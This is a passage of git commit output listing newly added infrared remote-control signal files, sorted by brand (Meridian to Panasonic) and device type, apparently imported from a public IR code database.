100644 assets/resources/infrared/_CSV-IRDB_/Meridian/Processor/19,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Meridian/Remote Control/19,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Meridian/Surround Processor/19,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Meridian/System Remote/19,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Metronome/CD Player/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Microsoft/Game Console/116,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Microsoft/Game Console/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Microsoft/Game Console/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mintek/DVD Player/0,153.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/170,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/18,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/5,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/68,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/9,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Cox/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Cox/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/DSS/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/DVR/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/IP box/16,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Remote/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Remote/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/18,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/23,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NAD/Amplifier/135,124.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NAD/CD Player/133,111.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NAD/CD Player/135,124.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NAD/CD Player/42,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NAD/Monitor/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NAD/Receiver/135,124.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NAD/Surround Processor/135,124.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NAD/Surround Processor/93,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NAD/Tuner/135,124.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NAD/Unknown/135,124.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_451/135,124.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Monitor/25,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Monitor/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/25,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,197.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,225.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,228.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,231.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Surround Processor/13,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Surround Processor/26,228.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/TV/24,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/TV/24,24.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/TV/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Unknown/25,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Unknown/25,231.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/VCR/10,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/VCR/25,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/VCR/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Video Projector/24,233.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NEC/Video Projector/24,247.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NET TV/TV/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Niles Audio/Unknown/128,93.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Niles Audio/Unknown/132,18.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nokia/Satellite/24,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nokia/Satellite/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_For/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_For/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-8204.1300/32,8.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo Integra/Receiver/210,109.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/132,117.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/210,109.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/210,13.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/210,44.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/Receiver/210,108.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/Receiver/210,109.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/Tuner/210,109.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/Tuner/210,37.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown/210,109.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown/210,44.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/128,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,16.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,18.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,28.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,34.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,4.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/176,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Receiver/160,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Receiver/160,28.ir create mode 100644 